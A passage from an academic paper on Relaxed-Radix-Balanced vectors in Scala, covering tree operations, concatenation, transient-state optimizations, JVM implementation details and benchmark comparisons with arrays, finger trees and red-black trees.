00000
0

10000
16

00010
2

01111
15

11011
27

0 … 16 … 31

0 … 27 … 31

0 … 31

0 1 2 … 31

0 … 15 … 31

Figure 2. Accessing element at index 526843 in a tree of depth 5.
Empty nodes represent collapsed subtrees.

This scheme can be generalized to any branching size m where
m = 2i for 0 < i ≤ 31. The formula is:

(index >> (i · L))&(m− 1)

It is also possible to generalize for other values of m using the
modulo, division and power operations. In that case the formula
would become (index/(mL)) mod m.

The base implementation of the indexing operation requires a
single traversal from the root to the leaf containing the element,
with the path taken defined by the index of the element and ex-
tracted using efficient bitwise operations. With this traversal of the
tree, the complexity of the operation is O(logm(n)).

The same radix-based traversal of the tree is used in the rest of
the operations to find the leaf corresponding to a given index. It can
be optimized for the first and last leaf by removing computations to
improve performance on operations on the ends.

4 There exists a small enough constant bound (due to practical limitations).
5 Maximum height of log32(231) + 1, which is 6.2.
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1 type Node = Array[AnyRef]
2 val Node = Array

1 val i = // bits in blocks of the index
2 val mask = (1 << i) - 1
3 def get(index: Int): A = {
4 def getRadix(idx: Int, nd: Node, level: Int): A = {
5 if (depth == 0) nd(idx & mask)
6 else {
7 val indexInLevel = (idx >> (level * i)) & mask
8 getRadix(idx, nd(indexInLevel), level-1)
9 }

10 }
11 getRadix(index, vectorRoot, vectorDepth)
12 }

Updating Since the structure is immutable, the updated
operation has to recreate the entire path from the root to the element
being updated. The leaf update creates a fresh copy of the leaf
array with one updated element. Then, the parent of the leaf is also
updated with the reference to the new leaf, then the parent’s parent,
and so on all the way up to the root.

1 def updated(index: Int, elem: A) = {
2 def updatedNode(node: Node, level: Int): Node = {
3 val indexInNode = // compute index
4 val newNode = copy(node)
5 if(level == 0) {
6 newNode(indexInNode) = elem
7 } else {
8 newNode(indexInNode) =

updatedNode(node(indexInNode), level-1)
9 }

10 newNode
11 }
12 new Vector(updatedNode(vectorRoot, vectorDepth),

...)
13 }

Therefore the complexity of this operation is O(m · logm(n)),
since it traverses and recreates O(logm(n)) nodes of size O(m).
For example, if some leaf has all its elements updated from left to
right, the branch will be copied as many times as there are updates.
We will later explain how this can be optimized by allowing tran-
sient states that avoid re-creating the path to the root tree node with
each update (described in §4).

Appending front and back The implementation of appended
front/back has two cases, depending on the current state of the
Radix-Balanced tree: If the first/last leaf is not full the element is
inserted directly and all nodes of the first/last branch are copied.
If the leaf is full we must find the lowest node in the last branch
where there is still room left for a new branch. Then a new branch
that only contains the new element is appended to it.

In both cases the new vector object will have the start/end index
decreased/increased by one. When the root is full, the depth of the
vector will also increase by one.

1 val m = // branching factor
2 def appended(elem: A, whr: Where): Vector[A] = {
3 def appended(node: Node, level: Int) = {
4 val indexInNode = // compute index based on

start/end index
5 if (level == 1)
6 copyAndUpdate(node, indexInNode, elem)
7 else
8 copyAndUpdate(node, indexInNode,
9 appended(node(indexInNode), level-1))

10 }
11 def newBranch(depth: Int): Node = {
12 val newNode = Node.ofDim(m)
13 val idx = whr match {
14 case Frt => m-1
15 case Bck => 0
16 }

17 newNode(idx) =
18 if (depth == 1) elem
19 else newBranch(depth-1)
20 newNode
21 }
22 if (needNewRoot()) {
23 val newRoot = whr match {
24 case Frt => Node(newBranch(depth), root)
25 case Bck => Node(root, newBranch(depth))
26 }
27 new Vector(newRoot, depth+1, ...)
28 } else {
29 new Vector(appendedFront(root, depth), depth, ...)
30 }
31 }

In the code above, isTreeFull and needNewRoot are op-
erations that compute the answer using efficient bitwise operations
on the start/end index of the vector.

Since the algorithm traverses and creates new nodes from the
root to a leaf, the complexity of the operation is O(m · logm(n)).
Like the updated operation, it can be optimized by keeping tran-
sient states of the immutable vector (described in §4).

Splitting The core operations to remove elements in a Radix-
Balanced tree are the take and drop operations. They are used to
implement many other operations such as splitAt, tail, init
and others.

The take and drop operations are similar. The first step is
traversing the tree down to the leaf where the cut will be done.
Then the branch is copied and cleared on one side. The tree may
become shallower during this operation, in which case some of the
nodes on the top will be dropped instead of being copied. Finally,
the start and end are adjusted according to the changes on the tree.

1 def take(index) = split(index, Right)
2 def drop(index) = split(index, Left)
3 def split(index: Int, removeSide: Side) = {
4 def splitRec(node: Node, level: Int): (Node, Int) =

{
5 val indexInNode = // compute index
6 if (level == 0) {
7 (copyAndSplitNode(node, indexInNode,

removeSide), 1)
8 } else removeSide match {
9 case Left if indexInNode == node.length - 1 =>

10 splitedRec(node(indexInNode), level - 1)
11 case Right if indexInNode == 0 =>
12 splitedRec(node(indexInNode), level - 1)
13 case _ =>
14 val newNode = copyAndSplitNode(node,

indexInNode, removeSide)
15 val (newSubnode, depth) =

splitedRec(node(indexInNode), level-1)
16 newNode(indexInNode) = newSubnode
17 (newNode, level)
18 }
19 }
20 val (newRoot, newDepth) = splitRec(vectorRoot,

vectorDepth)
21 new Vector(newRoot, newDepth, ...)
22 }

The computational complexity of any split operation is O(m ·
logm(n)) due to the traversal and copying of nodes on the branch
where the cut index is located. O(logm(n)) for the traversal of
the branch and then O(m · logm(n2)) for the creation of the new
branch, where n2 is the size of the new vector (with 0 ≤ n2 < n).

3. Immutable Vectors as Relaxed Radix Trees
Relaxed-Radix-Balanced vectors use a new tree structure that ex-
tends the Radix-Balanced trees to allow fast concatenation of vec-
tors without losing performance on other core operations [4]. Re-
laxing the vector consists in using a slightly unbalanced extension
of the tree that combines balanced subparts. This vector still en-

344



sures the logm(n) bound on the height of the tree and on the oper-
ations presented in the previous section.

3.1 Relaxed-Radix-Balanced Tree Structure
The basic difference in the structure is that in an Relaxed-Radix-
Balanced (or RRB) tree, we allow nodes that contain subtrees that
are not completely full. As a consequence, the start and end index
are no longer required, as the branches on the ends can be truncated.
The structure of the RRB trees does not ensure by itself that the tree
height is bounded by logm(n). This bound is maintained by each
operation using an additional invariant on the tree balance. In our
case the concatenation operation is the only one that can affect the
inner structure (excluding ends) of the tree and as such it is the only
one that needs to worry about this invariant.

Tree balance As the tree will not always be perfectly balanced,
we define an additional invariant on the tree that will ensure an
equivalent logarithmic bound on the height. We use the relation
between the maximum and minimum branching factor mmax and
mmin at each level. These give corresponding maximum height
hmax and least height hmin needed to represent a given number of
elements n. Then hmin = logmmax(n) and hmax = logmmin(n)
or as hmin = 1

lg(mmax)
·lg(n) and hmax = 1

lg(mmin)
·lg(n). Trees

that are better balanced will have a height ratio, hr = lg(mmin)
lg(mmax)

,
that is closer to 1, perfect balance. In our tree we use mmax =
mmin + 1 to make hr as close to 1 as possible. In practice (using
m = 32) in the worst case scenario there is an increase from around
6.2 to 6.26 in the maximum possible height (i.e. 7 levels in both
cases).

Sizes metadata When one of these trees (or subtrees) is
unbalanced, it is no longer possible to know the location of an
index just by applying radix manipulation on it. To avoid losing
the performance of traversing down the tree in such cases, each
unbalanced node will keep metadata on the sizes of its subtrees. The
sizes are kept in a separate6 copy-on-write array as accumulated
sizes. This way, they represent the location of the ranges of the
indices in the current subtree. To avoid creating additional objects
in memory, these sizes are attached at the end of the node. To have a
homogeneous representation of nodes, the balanced subtrees have
an empty reference attached at the end. For leaves, however, we
make an exception: since they will always be balanced, they only
contain the data elements but not the size metadata.

0 1 … m-1 m

0 1 … m-1 0 1 … m-1

0 1 … m-1 m

0 1 … m-1 m

0 1 … m-1

0 1 … m-1

0 1 … m-1 0 1 … m-1 0 1 … m-1

Figure 3. Relaxed radix balanced tree structure

3.2 Relaxed Core Operations
Algorithms for the relaxed version assume that the tree is unbal-
anced and use a relaxed version of the code for Radix-Balanced
trees. But, as soon as a balanced subtree is encountered the more
efficient radix based algorithm is used. We also favor the creation
of balanced trees/subtrees when possible to improve performance
on subsequent operations.

Indexing When the tree is relaxed it is not possible to com-
pute the sub-indices directly from the index. By keeping the accu-
mulated sizes in the node the computation of sub-indices becomes
trivial. The sub-index is the same as the first index in the sizes array

6 To be able to share them across different vectors. This is a common case
when using updated.

where index < sizes[subIndex]. The fastest way to find it is by
using binary search to reduce the search space and when it is small
enough to take advantage of cache lines and switch to linear search.

1 def getBranchIndex(sizes: Array[Int], indexInTree:
Int): Int = {

2 var (lo, hi) = (0, sizes.length)
3 while (linearThreshold < hi - lo) {
4 val mid = (hi + lo) / 2
5 if (sizes(mid) <= indexInTree) lo = mid
6 else hi = mid
7 }
8 while (sizes(lo) <= indexInTree) lo += 1
9 lo

10 }

Note that to traverse the tree down to the leaf where the index
is located, the sub-indices are computed from the sizes as long
as the tree node is unbalanced. If the node is balanced, then the
more efficient radix based method is used from there to the leaf,
to avoid accessing the additional array in each level. In the worst
case the complexity of indexing will becomeO(log2(m)·logm(n))
where log2(m) is a constant factor that is only added on unbalanced
nodes.
1 def get(index: Int): A = {
2 def getRadix(idx, Int, node: Node, depth: Int) = ...
3 def get(idx: Int, node: Node, depth: Int) = {
4 val sizes = // get sizes from node
5 if(isUnbalanced(sizes)) {
6 val branchIdx = getBranchIndex(sizes, idx)
7 val subIdx = indexInTree-sizes(branchIdx)
8 get(subIdx, node(branchIdx), depth-1)
9 } else getRadix(idx, node, depth)

10 }
11 get(index, root, depth)
12 }

Updating and Appending For each one of these operations,
the only fundamental difference with the Radix-Balanced tree is
that when a node of a branch is updated the sizes must be updated
with it (if needed). In the case of updating, the structure does not
change and as such it always keeps the same sizes object reference.
The traversal down the tree is done using the new abstraction used
in the relaxed version of indexing.

In the case of appending to the back, an updated unbalanced
node must increment the accumulated size of its last subtree by
one. When a new branch is appended, a new size is appended to the
sizes. The newBranch operation is simplified by using truncated
nodes and letting the node on which it gets appended handle any
index shifting required.

1 def appended(elem: A, whr: Where): Vector[A] = {
2 ...
3 def newBranch(depth: Int): Node = {
4 val newNode = Node.ofDim(1)
5 newNode(0) = if (depth == 1) elem else

newBranch(depth-1)
6 newNode
7 }
8 ...
9 }

In the case of appending front, an updated node must increment
the accumulated size of each subtrees by one. When a new branch
is appended, a 1 is appended on the front of the sizes and all other
accumulated sizes are incremented by one.

The complexity of these operations is still O(m · logm(n)),
log2(m) · logm(n) for the traversal plus m · logm(n) for the branch
update or creation.

Splitting While splitting, the traversal down the tree is done
using the relaxed version of indexing. The splitting operation just
truncates the node on the left/right. In addition, when encountering
an unbalanced node, the sizes are truncated and adjusted. The
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complexity of this operation is still O(m · logm(n)), log2(m) ·
logm(n) for the traversal plus m · logm(n) for the branch update.

3.3 Concatenation
The concatenation algorithm used on RRB-Vectors is a slightly
modified version of the one proposed in the RRB-Trees technical
report [4]. This version favors nodes of size m over m− 1 making
the trees more balanced. With this approach, we sacrifice a bit of
performance for concatenations but we gain performance on all
other operations: better balancing implies higher chance of using
fast radix operations on the trees.

From a high level, the algorithm merges the rightmost branch
of the vector on the LHS with the leftmost branch of the vector on
the RHS. While merging the nodes, each of them is rebalanced in
order to ensure the O(logm(n)) bound on the height of the tree
and avoid the degeneration of the structure. The RRB version of
concatenation has a time complexity ofO(m2 · logm(n)) where m
is constant.

1 def concatenate(left: Vector[A], right: Vector[A]) =
{

2 val newTree = mergedTrees(left.root, right.root)
3 val maxDepth = max(left.depth, right.depth)
4 if (newTree.hasSingleBranch)
5 new Vector(newTree.head, maxDepth)
6 else
7 new Vector(newTree, maxDepth+1)
8 }
9 def mergedTrees(left: Node, right: Node, depth: Int)

= {
10 if (depth==1) {
11 mergedLeaves(left, right)
12 } else {
13 val merged =
14 if (depth==2) mergedLeaves(left.last,

right.first)
15 else mergedTrees(left.last, right.first, depth-1)
16 mergeRebalance(left.init, merged, right.tail)
17 }
18 }
19 def mergedLeaves(left: Node, right: Node) = {
20 // create a balanced new tree of height 2
21 // with all elements in the nodes
22 }

The concatenation operation starts at the bottom of the branches
by merging the leaves into a balanced tree of height 2 using
mergedLeaves. Then, for each level on top of it, the newly
created merged subtree and the remaining branches on that level
will be merged and rebalanced into a new subtree. This new sub-
tree always adds a new level to the tree, even though it might get
dropped later. New sizes of nodes are computed each time a node
is created based on sizes of children nodes.

Figure 4. Concatenation example: Rebalancing level 0

Figure 5. Concatenation example: Rebalancing level 1

The rebalancing algorithm has two proposed variants. The first
consists of completely rebalancing the nodes on the two top levels
of the subtree. The second also rebalances the top two level of
the subtree but it only rebalances the minimum amount of nodes

that ensures the logarithmic bound. The first one leaves the tree
better balanced, while the second is faster. As we aim to have
good performance on all operations we use the first variant7. The
following snippet of code shows a high level implementation for
this first variant. Details for the second variant can be found in [4]
in case that concatenation is prioritized over all other operations.

1 def mergeRebalance(left: Node, center: Node, right:
Node) = {

2 // join all branches
3 val merged = left ++ centre ++ right
4 var newRoot = new ArrayBuilder
5 var newSubtree = new ArrayBuilder
6 var newNode = new ArrayBuilder
7 def checkSubtree() = {
8 if(newSubtree.length == m) {
9 newRoot += computeSizes(newSubtree.result())

10 newSubtree.clear()
11 }
12 }
13 for (subtree <- merged; node <-subtree) {
14 if(newNode.length == m) {
15 checkSubtree()
16 newSubtree += computeSizes(newNode.result())
17 newNode.clear()
18 }
19 newNode += node
20 }
21 checkSubtree()
22 newSubtree += computeSizes(newNode.result())
23 computeSizes(newRoot.result)
24 }

Figures 4, 5, 6 and 7 show a concrete step by step (level by
level) example of the concatenation of two vectors. In the example,
some of the subtrees were collapsed. This is not only to make the
diagrams fit, but also to expose only the nodes that are referenced
during the execution of the algorithm. Nodes with colors represent
new nodes and changes, to help track them from figure to figure.

Figure 6. Concatenation example: Rebalancing level 2

Figure 7. Concatenation example: Rebalancing level 3

The concatenation algorithm chosen for the RRB Vector is the
one that is slower but that is better at rebalancing. The reason be-
hind this decision is that with better balanced trees all other oper-
ations on the trees are more efficient. In fact, choosing the least
efficient option does not need to be seen as a reduction in per-
formance, because the improvement is in relation to the Relaxed-
Balanced tree concatenation of linear complexity. An interesting
consequence of this choice is that all trees (or subtrees) of size at
most m2 (the maximum size of a two level RRB tree) that were
created by concatenation will be completely balanced.

It is important to have a smart rebalancing implementation, due
to the m2 elements that can possibly be accessed. The first crucial
factor is the speed of copying the nodes. With an implementation
that takes advantage of spatial locality by using arrays (§5.2), the
amount of work required can be reduced to m fast node copies

7 Performance of operations using the second variant was analyzed in [37].

346



rather than m2 element copies. Another crucial but obvious imple-
mentation detail is to never duplicate a node if it does not change.
This requires a small amount of additional logic and comes with a
benefit on memory used and in good cases can reduce the number
of node copies required, potentially reducing the effective work to
o(m ∗ logm(n)) if there is a good alignment.

When improving the vector on locality (§4), concatenating a
small vector using the concatenation algorithm is less efficient than
appending directly on the other tree. That case is identified by a
simple bound on the lengths, and then all elements from the smaller
vector are appended to the larger one.

Other Operations Having efficient concatenation and spitting
allows us to also implement several other operations that change
the structure of the tree. Some of there operations are: inserting an
element/vector in any position, deleting an element/subrange of the
vector and patching/replacing part of the vector. The complexity
of these operations are bounded by the complexity of the core
operations used.

Parallelizing the Vector To parallelize operations we use the
fork-join pool model from Java [18, 31]. In this model process-
ing is achieved by splitting the work into smaller parts until they
are deemed small enough to ensure good parallelism. This can be
achieved using the efficient splitting of the RRB-Tree. For certain
operations, like map, filter and reduce, the results obtained in
parallel must be aggregated, such as concatenating the partial vec-
tors produced by the parallel workers. The aggregation can oc-
cur in several steps, where partial results from different workers
are aggregated in parallel, recursively, until a single result is pro-
duced. The overhead associated with the distribution of work is
O(m2 · logm(n)).

4. Improvements on Operation Locality and
Amortization of Costs

In this section we present different approaches aimed at improving
the performance using explicit caching on the subtrees in a branch.
This is a new generalization of the Clojure [15] (and current Scala)
optimizations on their Radix-Balanced vectors. All optimizations
we describe rely on the vector object keeping a set of fields that
track the entire branch of the tree, from the root to a leaf. Figure 4
shows such an RRB-vector with the levels numbered starting from
0 at the bottom. The explicit caches focus on the nodes reaching
from the root to the tree0 leaf.

tree0

tree2

tree1

Figure 8. Branch trees in cache.

To know on which branch the vector is focused there is also a
focus index field. It can be the index of any element in the cur-
rent tree0. To follow the simple implementations scheme of im-
mutable objects in concurrent contexts, the focus is also immutable.
Therefore each vector object will have a single focused branch dur-
ing its existence. Each method that creates a new vector must de-
cide which focus to set.

These optimizations depend heavily on the radix operations for
efficiency. To avoid losing these completely on unbalanced RRB
trees we will only use these operation on a balanced subtree of the
branch. The vector will keep extra meta data on the start and end
index of this subtree as well as its height. In the case of a balanced

RRB tree this covers the entire tree and will effectively only use the
more efficient radix based operations.

4.1 Faster Access
One of the uses of the focused branch is as a direct access to
a cached branch. If the same leaf node is used in the following
operation, there is no need for vertical tree traversal which is key to
amortize operation to constant time. In the case another branch is
needed, it can be fetched from the lowest common node of the two
branches.

To know which is the level of the lowest common node in a
vector of branching size m (where m = 2i and i is the number
of bits in the sub-indices), only the focused index and the index
being fetched are needed. The operation indexYfocus will return
a number that is bounded to the maximum number of elements
in a tree of that level. The actual level can be extracted with
some if statements. This operation bounded by the same number
of operations that will be needed to traverse the tree back down
through the new branch. This is computed in O(logm(n)) without
accesses to memory.

1 val i = // nubmer of bits of sub-indices
2 def lowestCommonLevel(idx: Int, focus: Int): Int = {
3 val xor = idx ^ focus
4 if (xor < (1<<(1*i)) ) 0
5 else if (xor < (1<<(2*i)) ) 1
6 else if (xor < (1<<(3*i)) ) 2
7 ...
8 else 5
9 }

When deciding which will be the focused branch of a new vector
two heuristics are used: If there was an update operation on some
branch where that operations could be used again, that branch is
used as focus. If the first one can’t be applied, the focus is set to the
first element as this helps key collection operations (such as getting
an iterator).

The vector iterator and builder use this to switch from one leaf
to the next one with the minimal number of steps. In fact, this
effectively amortizes out the cost of traversing the tree structure
over the accesses in the leaves as each edge of the tree will only
be accessed once. In the case of RRB tree iteration there is an
additional abstraction for switching from one balanced subtree to
the next one.

4.2 Amortizing Costs using Transient States
Transient states are the key to providing amortized constant-time
appending, local updating and local splits. To achieve this, we de-
couple the tree by creating an equivalent tree that does not contain
redundant edges on the current focused branch. The information
missing in the edges of the tree is represented and can be recon-
structed from the trees in the focused branch.

Figure 9. Transient tree with current focus branch marked in white
and striped nulled edges.

Without transient states when a leaf is updated, the entire branch
must be updated. On the other hand, if the state is transient, it is
only necessary to update the subtree affected by the change. In the
case of updates on the same leaf, only the leaf must be updated.

When appending or updating consecutive indices, m−1
m

opera-
tions must only update the leaf, then m−1

m2 need to update two lev-
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els of the tree and so on. These operations will thus be amortized
to constant time if they are executed in succession. This is due to
the bound given by average number of node update per operation:∑∞

k=1
k·(m−1)

mk = m
m−1

.
There is a cost associated to the transformation from canonical

to transient state and back. This cost is equivalent to one update of
the focused branch. The transient state operations only start paying
off after 3 consecutive operations. With 2 consecutive operations
they are matched and with 1 there is a loss in performance.

Canonicalization The transient state aims to improve perfor-
mance of some operations by amortizing costs. But, the transient
state is not ideal for performance of other operations. For example
an indexing operation on an unbalanced vector may lack the size
information it requires to efficiently access certain indices. And an
iterator relies on a canonical tree for performance. It is possible to
implement these operations on a transient state, but this involves
both code duplication and additional overhead on each call.

The solution we used involves converting the transient represen-
tation to a canonical one. This conversion, called canonicalization,
is applied when an operation that requires the cannonical form is
called on an instance of the immutable vector. The mutation of the
vector is not visible from the outside and only happens at most once
(Figure 10). This transformation only affects the nodes that are on
the focused branch, as it copies each one (except the leaf) and links
the trees. If the node is unbalanced, the size of the subtree in focus
is inserted. This transformation could be seen as a lazy initialization
of the current branch.

Figure 10. Objects states and effect of operations.

Vector objects can only be in the transient state if they were
created this way. For example, the appending operations will create
a new object that is in transient state and focused on the last/first
branch. If the source object was not focusing the last branch, then
it is canonicalized (if needed) before change of branch operation.
Vectors of depth 1 are special cases, they are always in canonical
form and their operations are equivalent to those in transient form.

4.3 Comparison
In table 1 we show the difference in complexities between the
Radix-Balanced Vector and the Relaxed-Radix-Balanced Vector. In
table 2 we compare the RRB-Vector to other possible implementa-
tions. The operations in the table represent all different complexi-
ties that can be reached for the core operations. The operations are
divided into four categories: (i) fetching, (ii) updating, (iii) insert-
ing , and (iv) removing. In (i) there is the indexing or random access
given an element index and the sequential scanning of elements.
Category (ii) is divided into normal (or random) update and has a
special case for updates that are done locally. The category (iii) is
divided into building (with/without result size), concatenation and
insertions of element (or vectors) and has a special case for inser-
tions on ends (appended front/back and small concat). Remov-
ing (iv) is divided into splits (split, take, drop, . . . ), splits
ends (tail/init, drop(n)/take(n) with n in the first/last
leaf) and a general removal of elements in a range of indices.

Table 1. Comparison between the Radix and Relaxed Radix Vec-
tors. In this table all aC have logm worst case scenario.

Radix-Balanced Vector RRB Vector With m = 32

indexing logm logm eC
scanning aC aC aC

update m · logm m · logm eC
update local aC aC aC

concat/insert L m2 · logm L v.s. eC
insert ends aC aC aC
building aC aC aC

split m · logm m · logm eC
split ends aC aC aC

remove L m2 · logm L v.s. eC

We use the notation eC as effective constant time when we
have logm(n) complexities assuming that n will be bounded by
the index integer representation and m is large enough. In our case
Int is a 32-bit signed integer and m = 32, giving us the bound
logm(n) < 7 and hence argue that this is bounded by a constant. In
table 1, aC (amortized constant) has a worst case scenario of logm
or m · logm, in other terms it has is eC in the worst case. In table 2,
for the RRB Vector the aC has a worst case of eC, for COW Array
aC has linear worst case and for the rest of aC-s have a worst case
of log2. C and L are constant and linear time respectively.

5. Implementation
5.1 Scala Indexed Sequences
Our implementation of the RRB-Vector8 is based on the Scala Col-
lection [26] IndexedSeq, which acts as a decorator exposing
many predefined generic operations which are based on just a few
core primitives. For example, most operations that involve the en-
tire collection (such as map, filter and foreach) use iterators
and builders. To improve performance, we overwrote several of the
decorator operations to use the efficient vector primitives directly,
without going through the IndexedSeq code.

Parallel RRB Vector The implementation of the parallel RRB
Vector is a trivial wrapper over the sequential RRB Vector using
the Scala Parallel Collections API [25, 33, 34]. This only requires
the presence of the split and combine operations, which, in our
case, are simply splitting an iterator on the tree and combining
using concatenation. Both of these use the efficient core RRB tree
operations. When splitting, we additionally have heuristics that
yield a well aligned concatenation and create a balanced tree.

5.2 Arrays as Nodes
One of the aims of Scala Collections [25, 26, 33, 34] is the elimina-
tion of code duplication, and one of the mechanisms to achieve this

8 Along with all other sequences we compare against.

Table 2. Comparisons with other data structures that could be used
to implement indexed sequences.

RRB Vector COW Array FingerTree RedBlack Tree

indexing eC C log2 log2
scanning aC C aC aC

update eC L log2 log2
update local aC L log2 log2

concat/insert eC L log2 L
insert ends aC L aC log2
building aC C/aC aC log2

split eC L log2 log2
split ends aC L aC log2
remove eC L log2 L
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is the use of generic types [9, 22]. But this also has a drawback: the
need to box primitive values in order for them to be stored in the
collection. We implemented all our sequences in this context.

All nodes are stored in arrays of type Array[AnyRef], since
this allows us to quickly access elements (which are boxed any-
way due to generics9) without dispatching on the primitive array
type. A welcome side effect of this decision is that elements are
already boxed when they are passed to the Vector, thus accessing
and storing them does not incur any intermediate boxing/unbox-
ing operations, which would add overhead. However, it is known
that using the boxed representation for primitive types is inefficient
when operating on the values themselves, so the sizes of unbal-
anced nodes are stored in Array[Int] objects, guaranteeing the
most compact and efficient data representation.

Most of the memory used in the vector data structure will be
composed of arrays. There are three key operations used on these
arrays: creation, update and access. Since the arrays are used with
copy-on-write semantics, actual update operations are only allowed
when the array is initialized. This also implies that each time there
is a modification on some part of an array, a new array must be
created and the old elements must be copied.

The size of the array will affect the performance of the vector.
With larger arrays in the nodes the access times will be reduced
because the depth of the tree will decrease. But, on the other
hand, increasing the size of the arrays will slow down the update
operations, as they have to copy the entire array to execute the
element update, due to the copy-on-write semantics.

For an individual reference to an RRB-Vector of size n and
branching of m, the memory usage will composed by the arrays
located in the leaves10 and the ones that form the tree structure.
In our case we save references and hence we need d n

m
e arrays

of m references11. The structure requrires at least the references
to the child nodes and in the worst case scenario an additional
integer the size of each child. Going up level by level, the reference
count decreases by a factor of m and hence the total is bounded
by

∑logm(n)
k=2 d n

mk e <
∑∞

k=2d
n

mk e ≤ n+m
m·(m−1)

refrences. For the
sizes of the nodes, given our choice of rebalancing algorithm, they
will only appear on nodes that are of height 3 or larger and hence
the sizes will be bounded by

∑logm(n)
k=3 d n

mk e <
∑∞

k=3d
n

mk e ≤
n+m

m2·(m−1)
integers.

5.3 Running on a JVM
In practice, Scala compiles to Java bytecode and executes on a Java
Virtual Machine (JVM), where we used the Oracle Java SE dis-
tribution [29] as a reference. This imposes additional characteris-
tics of performance that can’t be evaluated on the algorithmic level
alone, and ask for a more nuanced discussion.

One of the JVM components that directly affects vectors is the
garbage collector (or GC). Vector operations tend to create a large
number of Array objects, some of which are only necessary for a
short time. These objects will use up memory and thus degrade
overall performance as the GC is invoked more often. For this
reason our code is optimized to avoid the redundant creation of
intermediary objects, delaying the GC cycles and thus improving
performance.

Instead of directly compiling bytecode to native code, the JVM
uses a just in time compilation (JIT) mechanism in order to take ad-
vantage of run-time profiling information. At first it runs the com-
piled bytecode inside an interpreter and collects execution statis-
tics (profiles). Later, once a method has executed enough times, it

9 A limitation that could be circumvented by Miniboxing [40].
10 Note that the memory used in the leaves is equivalent to the memory used
for an array that contains all the elements.
11 It could be any kind of data.

compiles it using the statistics to guide optimizations. The Vector
code tries to gain performance by aligning with the JIT heuristics
and hence taking advantage of its optimizations. The most impor-
tant such optimization is inlining, which eliminates the overhead of
calling a method and, furthermore, enables other optimizations to
improve the inlined code. Critical parts of the Vector code are care-
fully designed to to match the heuristics of the JVM. In particular,
a heuristic that arose commonly is that only methods of size less
than 35 bytes are inlined, which meant we had to split the code into
several methods to stay below this threshold.

6. Evaluation
6.1 Methodology
ScalaMeter [30] is used to measure performance of operations on
different implementations of indexed sequences.

To have reproducible results with low error margins, ScalaMe-
ter was configured on a per benchmark basis. Each test is run on
32 different JVM instances to average out badly allocated VMs.
On each JVM, 32 measurements were taken and they were filtered
using outlier elimination to remove those runs that where excep-
tionally different. This could happen if a more thorough garbage
collection cycle occurs in a particular run, due to JIT compilation
or if the operating system switches to a more important task dur-
ing the benchmark process [12]. Before taking measurements, the
JVM is warmed up by running the benchmark code several times,
without taking the measurements into account. This allows us to
measure the time after the JIT compilation has occurred, when the
system is in a steady state.

There are three main directions in the performance compar-
isons. The first compares the Radix-Balanced vectors with well-
balanced RRB Vectors, with the goal of having an equivalent per-
formance, even if the RRB Vectors have an inherent additional
overhead. The second axis shows the effects of unbalanced nodes
on RRB-Tree. For this we compare the same perfect balanced vec-
tor with an extremely unbalanced vector. The later vector is gener-
ated by concatenating pseudo-random small vectors together. The
amount of unbalanced nodes is in part affected by the size of the
vector. The third axis is the comparison between vectors in general
and other well known functional and/or immutable data structures
used to implement sequences. We used a copy-on-write (COW) ar-
rays, finger trees [16] (FingerTreeSeq12) and red black trees [13]
(RedBlackSeq13).

6.2 Results
For the results of this sections, benchmarks where executed on a
Java HotSpot(TM) 64-Bit Server VM on a machine with an Intel(R)
Core(TM) i7-4770 CPU @ 3.40GHz with 32GiB on RAM. Each
benchmarking VM instance was setup with 16GiB of heap memory.
The parallel vector split-combine was executed on a machine with
4 Intel(R) Xeon(R) Processors, of type E5-4640 @ 2.40GHz with
128GiB on RAM.

Iterating The benchmark in Figure 11 shows the time it takes
to scan the whole sequence using a specialized iterator. Unsurpris-
ingly, the results show that the best option is the array. But the vec-
tor is only 1-2× slower, closer to 1× in the most common cases.
It is also possible to see that vectors are 7-15× faster than other
deeper trees, mainly due to the reduction in indirections and in-
creased locality.

Building The benchmark in Figure 12 shows the time it takes
to build a sequence using a specialized builder. In general, the

12 Adapted version of https://github.com/Sciss/FingerTree where
abstractions that did not involve sequences where removed.
13 Adaptation of the standard Scala Collections RedBlackTree where keys
are used as indices.
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Figure 11. Iterating through the sequence

Figure 12. Building a sequence.

builder for these sequences does not know the size of the resulting
sequence. In the case of array builder there is the possibility of
giving it a hint of the result size (Hinted in the benchmarks). In
this case the vector wins against all other implementations. It is
faster than other trees because they require re-balancing during the
building, whereas the vector behaves more like an array building
by allocating chunks of memory and filling them. Array building
requires resizing of the array whenever it is filled or the result is
returned, which implies a copy of the whole array. By contrast, the
vector only requires a copy of the last branch when returned. This is
the main reason the vector is able to outperform the array building
process. Also, the standard array builder uses the hint as such and
therefore still requires some copies of the array.

Indexing Figure 13 shows the time taken to access 10k ele-
ments in consecutive indices while Figure 14 shows the same for
randomly chosen indices. From the algorithmic point of view they
are exactly the same, the difference is in how the memory is kept in
the processor caches. It shows that in either cases the vector access
behaves effectively as constant time like the array, where the finger
trees and red black trees degenerate with randomness. A vector of
depth 3 is 2-3.5× slower than the array, the cost of accessing the
arrays in the 3 levels of the branches.

Figure 13. Accessing 10k consecutive indices

Figure 14. Accessing 10k random indices

Updating Figure 15 shows the time taken to update 10k
elements in consecutive indices and Figure 16 shows the same for
randomly chosen indices. In this case the array is clearly the worst
option because it creates a new version and copies the contents with
each update. The vector behaves effectively as having constant time
while taking advantage of locality and degenerates slightly with
randomness. The vector is 4.3× faster on local updates and 1-2.3×
faster on random updates than the red black tree.

Concatenating Figures 17 and 18 show the time it takes to
concatenate two sequences (two points of view of the same 3D
plot). The two axes on the bottom represent the sizes of the LHS
(left hand side) and RHS (right hand side) of the concatenation
operation. It can be seen that the RRB Vector and finger trees are
almost equivalent in performance (bottom planes). The array up to
a result size of 4096 is able to concatenate faster thanks to locality,
but then grows linearly with the result size (middle plane). The
vector without efficient concatenation (on Radix-Balanced trees)
behaves just like the array but with worse constant factors (top
plane). The red black tree was omitted from this graph due its
inefficient concatenation operation.

Appending Figures 19 and 20 show the time it takes to
append 256 elements on by one. In the first case we append them
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Figure 15. Updating on 10k consecutive indices

Figure 16. Updating on 10k random indices

to the front and in the second to the back of the sequence. The
large number of elements was chosen in order show the amortized
time of the operation on the vectors. In this case the array is
clearly the worst option because it creates a new version and copies
the contents with each append. The vector is around 2.5× slower
than the finger trees, a structure that specifically focuses on these
operations. The vector can be 1-2× faster than a red black tree.

Splitting Figures 21 and 22 show the time it takes to split a
sequence on the left and on the right. We fixed the cut point to
the middle of the sequence to be able to compare the time it takes
to take or drop the same number of elements. It can be seen that
splitting a vector is more efficient than other structures. Even more,
the vector behaves with an effectively constant time.

Parallel Vector Split-combine Overhead The benchmarks in
Figure 23 and 24 show the amount of overhead associated with the
parallelization of the vector with and without efficient concatena-
